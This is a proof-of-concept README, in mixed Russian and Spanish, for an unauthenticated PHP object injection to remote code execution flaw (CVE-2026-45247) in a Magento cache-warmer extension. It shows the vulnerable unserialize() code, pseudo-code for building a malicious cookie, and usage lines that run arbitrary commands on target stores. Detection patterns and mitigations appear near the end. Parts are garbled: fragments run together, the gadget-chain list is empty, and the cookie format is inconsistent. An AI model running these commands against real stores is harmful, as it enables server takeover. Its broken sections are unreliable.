
PoC функциональный для CVE-2026-45247: PHP Object Injection к RCE без аутентификации в Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 — критическая уязвимость PHP Object Injection (внедрение PHP-объектов) в расширении Mirasvit Full Page Cache Warmer для Magento 2 и Adobe Commerce. Неаутентифицированный злоумышленник может добиться удаленного выполнения кода (RCE) путем отправки вредоносного сериализованного PHP-объекта в cookie CacheWarmer.
Уязвимость заключается в неограниченном вызове нативной функции PHP unserialize() в сочетании с доступными в Magento и его зависимостях (особенно Monolog) гаджет-цепочками (gadget chains).
| Атрибут | Значение |
|---|---|
| CVE | CVE-2026-45247 |
| Продукт | Mirasvit Full Page Cache Warmer for Magento 2 |
| Затронутые версии | Все версии до 1.11.12 |
| Доступное исправление | Версия 1.11.12 (25 мая 2026 г.) |
| Оценка CVSS | 9.8 (Критическая) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Статус в CISA KEV | Подтвержденная активная эксплуатация (добавлена 03.06.2026) |
| Крайний срок | 06.06.2026 |
CacheWarmer в каждом запросе магазинаunserialize() без санитизацииSyslogUdpHandler, BufferHandler, FingersCrossedHandler), достигается RCE# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
В журналах доступа:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Команды, наблюдаемые при эксплуатации:
echo PWNED_CVE2026_$(date +%s)
sleep 5
Используемые гаджет-цепочки:
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}